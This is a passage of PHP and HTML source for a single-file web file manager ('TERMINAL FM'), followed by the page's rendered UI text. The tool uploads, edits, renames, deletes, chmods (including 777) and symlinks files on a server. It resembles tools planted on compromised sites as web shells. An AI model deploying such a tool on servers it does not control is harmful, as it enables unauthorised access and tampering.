style="flex:1;display:flex;align-items:center;justify-content:center;background:var(--bg2);border:1px solid var(--border);border-radius:8px;padding:20px"> <img src="<?= SELF ?>?serve=1&p=<?= urlencode($rel_p) ?>&f=<?= urlencode($preview_file) ?>" style="max-width:100%;max-height:70vh;object-fit:contain;border-radius:4px;"> </div> <div style="margin-top:12px;font-size:11px;color:var(--muted);text-align:center"> <?= htmlspecialchars($preview_file) ?> — <?= fmt_size(filesize($preview_path)) ?> </div> </div> <?php else: ?> <!-- ══════════ FILE LIST VIEW ══════════ --> <!-- TOOLBAR --> <div class="toolbar"> <button onclick="openModal('modal-newdir')" class="btn-tool btn-amber"> <i class="bi bi-folder-plus"></i> NEW FOLDER </button> <button onclick="openModal('modal-newfile')" class="btn-tool btn-cyan"> <i class="bi bi-file-earmark-plus"></i> NEW FILE </button> <button onclick="openModal('modal-upload')" class="btn-tool btn-green"> <i class="bi bi-cloud-upload"></i> UPLOAD </button> <div style="width:1px;background:var(--border);margin:0 4px"></div> <button onclick="openModal('modal-symlink')" class="btn-tool btn-ghost"> <i class="bi bi-link-45deg"></i> SYMLINK </button> <div style="margin-left:auto;display:flex;gap:8px;align-items:center"> <span style="font-size:10px;color:var(--muted)"><?= $item_count ?> items</span> <button onclick="toggleView()" class="btn-tool btn-ghost" id="viewBtn" title="Toggle view"> <i class="bi bi-grid" id="viewIcon"></i> </button> </div> </div> <!-- FILE TABLE --> <div style="flex:1;overflow:auto"> <?php if (empty($items) && !$rel_p): ?> <div class="empty-state"> <i class="bi bi-folder-x"></i> <p>Directory is empty</p> </div> <?php elseif ($search && empty($items)): ?> <div class="empty-state"> <i class="bi bi-search"></i> <p>No results for "<?= htmlspecialchars($search) ?>"</p> </div> <?php else: ?> <?php function sort_url(string $s, string $cur_sort, string $cur_order, string $rel_p, string $q): string { $o = ($s === $cur_sort && $cur_order === 'asc') ? 'desc' : 'asc'; return SELF . '?p=' . urlencode($rel_p) . '&sort=' . $s . '&order=' . $o . ($q ? '&q='.urlencode($q) : ''); } ?> <table class="file-table" id="fileTable"> <thead> <tr> <th style="width:30px;padding-right:0"><input type="checkbox" class="row-check" id="checkAll" onchange="toggleAll(this)"></th> <th colspan="2"><a href="<?= sort_url('name',$sort,$order,$rel_p,$search) ?>" class="<?= $sort==='name'?'sort-active':'' ?>">NAME <?= $sort==='name'?($order==='asc'?'↑':'↓'):'' ?></a></th> <th class="hidden md:table-cell"><a href="<?= sort_url('size',$sort,$order,$rel_p,$search) ?>" class="<?= $sort==='size'?'sort-active':'' ?>">SIZE <?= $sort==='size'?($order==='asc'?'↑':'↓'):'' ?></a></th> <th class="hidden md:table-cell"><a href="<?= sort_url('date',$sort,$order,$rel_p,$search) ?>" class="<?= $sort==='date'?'sort-active':'' ?>">MODIFIED <?= $sort==='date'?($order==='asc'?'↑':'↓'):'' ?></a></th> <th class="hidden md:table-cell">PERMS</th> <th style="text-align:right">ACTIONS</th> </tr> </thead> <tbody> <?php if ($rel_p): ?> <tr> <td></td> <td colspan="5"> <a href="<?= SELF ?>?p=<?= urlencode(dirname($rel_p) === '.' ? '' : dirname($rel_p)) ?>" style="display:flex;align-items:center;gap:8px;color:var(--text2);text-decoration:none;font-size:12px" class="hover:text-cyan"> <div class="item-icon" style="background:rgba(74,112,144,0.15);color:var(--muted)"> <i class="bi bi-arrow-up"></i> </div> <span>.. / Parent Directory</span> </a> </td> <td></td> </tr> <?php endif; ?> <?php foreach ($items as $it): $ic = icon_class($it['name'], $it['is_dir']); $icon = file_icon($it['name'], $it['is_dir']); $enc_name = urlencode($it['name']); $item_path_enc = urlencode(trim($rel_p.'/'.$it['name'], '/')); ?> <tr data-name="<?= htmlspecialchars($it['name']) ?>" oncontextmenu="showCtx(event, '<?= htmlspecialchars(addslashes($it['name'])) ?>', <?= $it['is_dir'] ? 'true' : 'false' ?>, <?= (!$it['is_dir'] && is_editable($it['name'])) ? 'true' : 'false' ?>)"> <td style="padding-right:0"> <input type="checkbox" class="row-check item-check" value="<?= htmlspecialchars($it['name']) ?>"> </td> <td style="padding-right:4px;width:36px"> <div class="item-icon <?= $ic ?>"><i class="bi bi-<?= $icon ?>"></i></div> </td> <td> <div class="item-name <?= $it['is_dir'] ? 'is-dir' : '' ?>"> <?php if ($it['is_dir']): ?> <a href="<?= SELF ?>?p=<?= $item_path_enc ?>"><?= htmlspecialchars($it['name']) ?></a> <?php if ($it['link']): ?><span class="badge-link">LINK</span><?php endif; ?> <?php else: ?> <?= htmlspecialchars($it['name']) ?> <?php if ($it['link']): ?><span class="badge-link">LINK</span><?php endif; ?> <?php endif; ?> </div> </td> <td class="meta hidden md:table-cell"> <?= $it['is_dir'] ? '<span style="color:var(--dim)">—</span>' : fmt_size($it['size']) ?> </td> <td class="meta hidden md:table-cell"><?= fmt_time($it['mtime']) ?></td> <td class="perms hidden md:table-cell"><?= $it['perms'] ?></td> <td> <div class="act-wrap"> <?php if (!$it['is_dir'] && is_editable($it['name'])): ?> <a href="<?= SELF ?>?p=<?= urlencode($rel_p) ?>&edit=<?= $enc_name ?>" class="act-btn act-edit" title="Edit"><i class="bi bi-pencil"></i></a> <?php endif; ?> <?php if (!$it['is_dir'] && is_image($it['name'])): ?> <a href="<?= SELF ?>?p=<?= urlencode($rel_p) ?>&view=<?= $enc_name ?>" class="act-btn act-view" title="Preview"><i class="bi bi-eye"></i></a> <?php endif; ?> <?php if (!$it['is_dir']): ?> <a href="<?= SELF ?>?dl=1&p=<?= urlencode($rel_p) ?>&f=<?= $enc_name ?>" class="act-btn act-dl" title="Download"><i class="bi bi-download"></i></a> <?php endif; ?> <button onclick="openRename('<?= htmlspecialchars(addslashes($it['name'])) ?>')" class="act-btn act-ren" title="Rename"><i class="bi bi-pencil-square"></i></button> <?php if (!$it['is_dir']): ?> <button onclick="openCopy('<?= htmlspecialchars(addslashes($it['name'])) ?>')" class="act-btn act-copy" title="Copy"><i class="bi bi-files"></i></button> <?php endif; ?> <button onclick="openChmod('<?= htmlspecialchars(addslashes($it['name'])) ?>', '<?= $it['perms'] ?>')" class="act-btn act-chmod" title="Chmod"><i class="bi bi-shield-lock"></i></button> <button onclick="confirmDelete('<?= htmlspecialchars(addslashes($it['name'])) ?>')" class="act-btn act-del" title="Delete"><i class="bi bi-trash3"></i></button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <?php endif; ?> <!-- STATUSBAR --> <div class="statusbar"> <div class="stat-item"><div class="stat-dot"></div><span>ONLINE</span></div> <div class="stat-item"><i class="bi bi-folder2" style="font-size:11px"></i><span><?= $rel_p ?: 'root' ?></span></div> <div class="stat-item"><i class="bi bi-collection" style="font-size:11px"></i><span><?= $item_count ?> items</span></div> <div class="stat-item" style="margin-left:auto"><span><?= date('H:i:s') ?></span></div> </div> </div><!-- /main --> </div><!-- /layout --> <!-- ═══════════════════════ MODALS ═══════════════════════════ --> <!-- NEW FOLDER --> <div class="modal-bg" id="modal-newdir" onclick="bgClose(event, 'modal-newdir')"> <div class="modal"> <div class="modal-title"><i class="bi bi-folder-plus"></i> NEW FOLDER</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="new_dir"> <div class="field-label">FOLDER NAME</div> <input type="text" name="name" class="field-input" placeholder="my_folder" autofocus> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-newdir')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-cyan">CREATE</button> </div> </form> </div> </div> <!-- NEW FILE --> <div class="modal-bg" id="modal-newfile" onclick="bgClose(event, 'modal-newfile')"> <div class="modal"> <div class="modal-title"><i class="bi bi-file-earmark-plus"></i> NEW FILE</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="new_file"> <div class="field-label">FILE NAME</div> <input type="text" name="name" class="field-input" placeholder="index.php" autofocus> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-newfile')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-cyan">CREATE</button> </div> </form> </div> </div> <!-- UPLOAD --> <div class="modal-bg" id="modal-upload" onclick="bgClose(event, 'modal-upload')"> <div class="modal" style="width:540px"> <div class="modal-title"><i class="bi bi-cloud-upload"></i> UPLOAD FILES</div> <form method="POST" enctype="multipart/form-data" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="upload"> <div class="upload-zone" id="dropZone" onclick="document.getElementById('fileInput').click()"> <i class="bi bi-cloud-arrow-up"></i> <div class="uz-text">Click to browse or drag & drop files</div> <div class="uz-sub" id="fileLabel">No files selected</div> </div> <input type="file" name="ufiles[]" id="fileInput" multiple style="display:none" onchange="updateFileLabel(this)"> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-upload')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-green">UPLOAD</button> </div> </form> </div> </div> <!-- RENAME --> <div class="modal-bg" id="modal-rename" onclick="bgClose(event, 'modal-rename')"> <div class="modal"> <div class="modal-title"><i class="bi bi-pencil-square"></i> RENAME</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="name" id="rename-old"> <div class="field-label">CURRENT NAME</div> <input type="text" id="rename-cur" class="field-input" readonly style="opacity:0.5"> <div class="field-label">NEW NAME</div> <input type="text" name="new_name" id="rename-new" class="field-input" placeholder="new_name"> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-rename')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-amber">RENAME</button> </div> </form> </div> </div> <!-- COPY --> <div class="modal-bg" id="modal-copy" onclick="bgClose(event, 'modal-copy')"> <div class="modal"> <div class="modal-title"><i class="bi bi-files"></i> COPY FILE</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="copy_file"> <input type="hidden" name="name" id="copy-src"> <div class="field-label">SOURCE</div> <input type="text" id="copy-src-disp" class="field-input" readonly style="opacity:0.5"> <div class="field-label">DESTINATION NAME</div> <input type="text" name="dest_name" id="copy-dest" class="field-input"> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-copy')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-amber">COPY</button> </div> </form> </div> </div> <!-- CHMOD --> <div class="modal-bg" id="modal-chmod" onclick="bgClose(event, 'modal-chmod')"> <div class="modal"> <div class="modal-title"><i class="bi bi-shield-lock"></i> CHMOD</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="chmod"> <input type="hidden" name="name" id="chmod-name"> <div class="field-label">FILE / FOLDER</div> <input type="text" id="chmod-name-disp" class="field-input" readonly style="opacity:0.5"> <div class="field-label">CURRENT PERMISSIONS</div> <input type="text" id="chmod-cur" class="field-input" readonly style="opacity:0.5"> <div class="field-label">NEW MODE (octal)</div> <input type="text" name="mode" id="chmod-mode" class="field-input" placeholder="755" maxlength="4"> <div style="display:flex;gap:8px;flex-wrap:wrap;margin-bottom:14px"> <?php foreach (['755'=>'755 (rwxr-xr-x)','644'=>'644 (rw-r--r--)','777'=>'777 (rwxrwxrwx)','600'=>'600 (rw-------)','444'=>'444 (r--r--r--)'] as $m=>$l): ?> <button type="button" onclick="document.getElementById('chmod-mode').value='<?= $m ?>'" class="btn-tool btn-ghost" style="font-size:10px"><?= $l ?></button> <?php endforeach; ?> </div> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-chmod')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-cyan">APPLY</button> </div> </form> </div> </div> <!-- DELETE CONFIRM --> <div class="modal-bg" id="modal-delete" onclick="bgClose(event, 'modal-delete')"> <div class="modal"> <div class="modal-title" style="color:var(--red)"><i class="bi bi-exclamation-triangle"></i> CONFIRM DELETE</div> <p style="color:var(--text2);font-size:12px;margin-bottom:8px">You are about to delete:</p> <div style="background:rgba(255,51,102,0.06);border:1px solid rgba(255,51,102,0.2);border-radius:6px;padding:10px 14px;margin-bottom:20px;color:var(--red);font-size:13px" id="del-name-disp"></div> <p style="color:var(--muted);font-size:11px;margin-bottom:20px">This action is irreversible. All contents will be permanently removed.</p> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>" id="del-form"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="name" id="del-name-inp"> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-delete')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-red"><i class="bi bi-trash3"></i> DELETE</button> </div> </form> </div> </div> <!-- SYMLINK --> <div class="modal-bg" id="modal-symlink" onclick="bgClose(event, 'modal-symlink')"> <div class="modal"> <div class="modal-title"><i class="bi bi-link-45deg"></i> NEW SYMLINK</div> <form method="POST" action="<?= SELF ?>?p=<?= urlencode($rel_p) ?>"> <input type="hidden" name="action" value="new_symlink"> <div class="field-label">LINK TARGET (path)</div> <input type="text" name="link_target" class="field-input" placeholder="/var/www/html/target"> <div class="field-label">LINK NAME</div> <input type="text" name="link_name" class="field-input" placeholder="mylink"> <div class="modal-footer"> <button type="button" onclick="closeModal('modal-symlink')" class="btn-tool btn-ghost">CANCEL</button> <button type="submit" class="btn-tool btn-cyan">CREATE</button> </div> </form> </div> </div> <!-- CONTEXT MENU --> <div class="ctx-menu" id="ctxMenu"> <div class="ctx-item" id="ctx-edit"><i class="bi bi-pencil"></i> Edit</div> <div class="ctx-item" id="ctx-view"><i class="bi bi-eye"></i> Preview</div> <div class="ctx-item" id="ctx-dl"><i class="bi bi-download"></i> Download</div> <div class="ctx-sep"></div> <div class="ctx-item" id="ctx-rename"><i class="bi bi-pencil-square"></i> Rename</div> <div class="ctx-item" id="ctx-copy"><i class="bi bi-files"></i> Copy</div> <div class="ctx-item" id="ctx-chmod"><i class="bi bi-shield-lock"></i> Chmod</div> <div class="ctx-sep"></div> <div class="ctx-item danger" id="ctx-delete"><i class="bi bi-trash3"></i> Delete</div> </div> <script> const SELF = '<?= SELF ?>'; const CUR_P = '<?= addslashes($rel_p) ?>'; // ─── MODAL ──────────────────────────────────────────────────────────────────── function openModal(id) { document.getElementById(id).classList.add('open'); const inp = document.querySelector('#'+id+' input:not([type=hidden]):not([readonly])'); if (inp) setTimeout(() => inp.focus(), 100); } function closeModal(id) { document.getElementById(id).classList.remove('open'); } function bgClose(e, id) { if (e.target.id === id) closeModal(id); } document.addEventListener('keydown', e => { if (e.key === 'Escape') document.querySelectorAll('.modal-bg.open').forEach(m => m.classList.remove('open')); }); // ─── ACTION HELPERS ─────────────────────────────────────────────────────────── function openRename(name) { document.getElementById('rename-old').value = name; document.getElementById('rename-cur').value = name; document.getElementById('rename-new').value = name; openModal('modal-rename'); setTimeout(() => { const el = document.getElementById('rename-new'); const dot = name.lastIndexOf('.'); el.setSelectionRange(0, dot > 0 ? dot : name.length); }, 150); } function openCopy(name) { document.getElementById('copy-src').value = name; document.getElementById('copy-src-disp').value = name; document.getElementById('copy-dest').value = 'copy_' + name; openModal('modal-copy'); } function openChmod(name, perms) { document.getElementById('chmod-name').value = name; document.getElementById('chmod-name-disp').value = name; document.getElementById('chmod-cur').value = perms; document.getElementById('chmod-mode').value = '755'; openModal('modal-chmod'); } function confirmDelete(name) { document.getElementById('del-name-inp').value = name; document.getElementById('del-name-disp').textContent = name; openModal('modal-delete'); } // ─── SELECTION ──────────────────────────────────────────────────────────────── function toggleAll(cb) { document.querySelectorAll('.item-check').forEach(c => c.checked = cb.checked); } function selectAll() { document.querySelectorAll('.item-check').forEach(c => c.checked = true); document.getElementById('checkAll').checked = true; } function deselectAll() { document.querySelectorAll('.item-check').forEach(c => c.checked = false); document.getElementById('checkAll').checked = false; } function deleteSelected() { const checked = [...document.querySelectorAll('.item-check:checked')].map(c => c.value); if (!checked.length) return alert('Pilih item dulu!'); if (!confirm(`Delete ${checked.length} item(s)?`)) return; checked.forEach(name => { const f = document.createElement('form'); f.method = 'POST'; f.action = SELF + '?p=' + encodeURIComponent(CUR_P); f.innerHTML = `<input name="action" value="delete"><input name="name" value="${name}">`; document.body.appendChild(f); f.submit(); }); } // ─── UPLOAD ZONE ────────────────────────────────────────────────────────────── const dz = document.getElementById('dropZone'); if (dz) { dz.addEventListener('dragover', e => { e.preventDefault(); dz.classList.add('drag'); }); dz.addEventListener('dragleave', () => dz.classList.remove('drag')); dz.addEventListener('drop', e => { e.preventDefault(); dz.classList.remove('drag'); document.getElementById('fileInput').files = e.dataTransfer.files; updateFileLabel(document.getElementById('fileInput')); }); } function updateFileLabel(inp) { const lbl = document.getElementById('fileLabel'); if (!lbl) return; const files = [...inp.files]; if (!files.length) { lbl.textContent = 'No files selected'; return; } lbl.textContent = files.length === 1 ? files[0].name : `${files.length} files selected`; } // ─── EDITOR ─────────────────────────────────────────────────────────────────── const codeArea = document.getElementById('codeArea'); if (codeArea) { updateLines(codeArea); updateCharCount(); codeArea.addEventListener('keyup', () => { updateCursor(); updateCharCount(); }); codeArea.addEventListener('click', updateCursor); codeArea.addEventListener('scroll', () => syncScroll(codeArea)); } function updateLines(ta) { const ln = document.getElementById('lineNums'); if (!ln) return; const count = (ta.value.match(/\n/g) || []).length + 1; ln.innerHTML = Array.from({length:count}, (_,i) => `<div style="color:${i===getCurLine(ta)-1?'var(--cyan)':'var(--dim)'}">${i+1}</div>`).join(''); } function getCurLine(ta) { return ta.value.substr(0, ta.selectionStart).split('\n').length; } function updateCursor() { if (!codeArea) return; const lines = codeArea.value.substr(0, codeArea.selectionStart).split('\n'); document.getElementById('cursorPos').textContent = `Ln ${lines.length}, Col ${lines[lines.length-1].length+1}`; updateLines(codeArea); } function updateCharCount() { if (!codeArea) return; const el = document.getElementById('charCount'); if (el) el.textContent = `${codeArea.value.length} chars`; } function syncScroll(ta) { const ln = document.getElementById('lineNums'); if (ln) ln.scrollTop = ta.scrollTop; } function handleTab(e) { if (e.key !== 'Tab') return; e.preventDefault(); const ta = e.target; const s = ta.selectionStart, en = ta.selectionEnd; ta.value = ta.value.substring(0,s) + ' ' + ta.value.substring(en); ta.selectionStart = ta.selectionEnd = s + 4; updateLines(ta); } function saveFile() { const f = document.getElementById('editorForm'); if (f) f.submit(); } let wrapped = false; function wrapLines() { if (!codeArea) return; wrapped = !wrapped; codeArea.style.whiteSpace = wrapped ? 'pre-wrap' : 'pre'; document.getElementById('wrapBtn').style.opacity = wrapped ? '1' : '0.6'; } function formatCode() { if (!codeArea) return; // basic: trim trailing spaces per line codeArea.value = codeArea.value.split('\n').map(l => l.trimEnd()).join('\n'); updateLines(codeArea); updateCharCount(); } // ─── CONTEXT MENU ───────────────────────────────────────────────────────────── const ctxMenu = document.getElementById('ctxMenu'); let ctxTarget = null; function showCtx(e, name, isDir, isEditable) { e.preventDefault(); ctxTarget = name; const p = CUR_P; document.getElementById('ctx-edit').style.display = (!isDir && isEditable) ? 'flex' : 'none'; document.getElementById('ctx-view').style.display = 'none'; // only images; simplified document.getElementById('ctx-dl').style.display = !isDir ? 'flex' : 'none'; document.getElementById('ctx-copy').style.display = !isDir ? 'flex' : 'none'; document.getElementById('ctx-edit').onclick = () => { window.location = SELF+'?p='+encodeURIComponent(p)+'&edit='+encodeURIComponent(name); hideCtx(); }; document.getElementById('ctx-dl').onclick = () => { window.location = SELF+'?dl=1&p='+encodeURIComponent(p)+'&f='+encodeURIComponent(name); hideCtx(); }; document.getElementById('ctx-rename').onclick = () => { openRename(name); hideCtx(); }; document.getElementById('ctx-copy').onclick = () => { openCopy(name); hideCtx(); }; document.getElementById('ctx-chmod').onclick = () => { openChmod(name,''); hideCtx(); }; document.getElementById('ctx-delete').onclick = () => { confirmDelete(name); hideCtx(); }; ctxMenu.style.left = Math.min(e.clientX, window.innerWidth-200) + 'px'; ctxMenu.style.top = Math.min(e.clientY, window.innerHeight-200) + 'px'; ctxMenu.classList.add('show'); } function hideCtx() { ctxMenu.classList.remove('show'); } document.addEventListener('click', hideCtx); document.addEventListener('scroll', hideCtx); // ─── VIEW TOGGLE ────────────────────────────────────────────────────────────── let gridView = false; function toggleView() { gridView = !gridView; const tbl = document.getElementById('fileTable'); const ico = document.getElementById('viewIcon'); if (!tbl) return; // minimal toggle: just scale density if (gridView) { tbl.querySelectorAll('td').forEach(td => { td.style.padding = '6px 8px'; }); ico.className = 'bi bi-list'; } else { tbl.querySelectorAll('td').forEach(td => { td.style.padding = ''; }); ico.className = 'bi bi-grid'; } } // ─── AUTO-DISMISS FLASH ─────────────────────────────────────────────────────── const fm = document.getElementById('flashMsg'); if (fm) setTimeout(() => { fm.style.opacity='0'; fm.style.transition='opacity 0.5s'; setTimeout(()=>fm.remove(),500); }, 4000); // ─── KEYBOARD SHORTCUTS ─────────────────────────────────────────────────────── document.addEventListener('keydown', e => { if (e.target.tagName === 'INPUT' || e.target.tagName === 'TEXTAREA') return; if (e.key === 'n' && !e.ctrlKey) openModal('modal-newfile'); if (e.key === 'd' && !e.ctrlKey) openModal('modal-newdir'); if (e.key === 'u' && !e.ctrlKey) openModal('modal-upload'); if (e.ctrlKey && e.key === 's' && codeArea) { e.preventDefault(); saveFile(); } }); </script> <?php // ─── FILE SERVE (download / image view) ───────────────────────────────────── if (isset($_GET['dl']) || isset($_GET['serve'])) { $sf = basename($_GET['f'] ?? ''); $sp = safe_path($rel_p) . DIRECTORY_SEPARATOR . $sf; if ($sf && is_file($sp) && strpos(realpath($sp), ROOT_PATH) === 0) { if (isset($_GET['dl'])) { header('Content-Disposition: attachment; filename="'.addslashes($sf).'"'); } header('Content-Type: ' . (mime_content_type($sp) ?: 'application/octet-stream')); header('Content-Length: ' . filesize($sp)); readfile($sp); exit; } } ?> </body> </html>
Ln 1, Col 1
FORMAT
WRAP
SAVE FILE
ONLINE
post
96 items
06:59:39
TERMINAL FM
×
NAVIGATION
Root
Parent Dir
Refresh
ACTIONS
New Folder
New File
Upload Files
New Symlink
SELECTION
Select All
Deselect
Delete Selected
NEW FOLDER
FOLDER NAME
NEW FILE
FILE NAME
UPLOAD FILES
Click to browse or drag & drop files
No files selected
RENAME
CURRENT NAME
NEW NAME
COPY FILE
SOURCE
DESTINATION NAME
CHMOD
FILE / FOLDER
CURRENT PERMISSIONS
NEW MODE (octal)
755 (rwxr-xr-x)
644 (rw-r--r--)
777 (rwxrwxrwx)
600 (rw-------)
444 (r--r--r--)
CONFIRM DELETE
You are about to delete:
This action is irreversible. All contents will be permanently removed.
NEW SYMLINK
LINK TARGET (path)
LINK NAME
Edit
Preview
Download
Rename
Copy
Chmod
Delete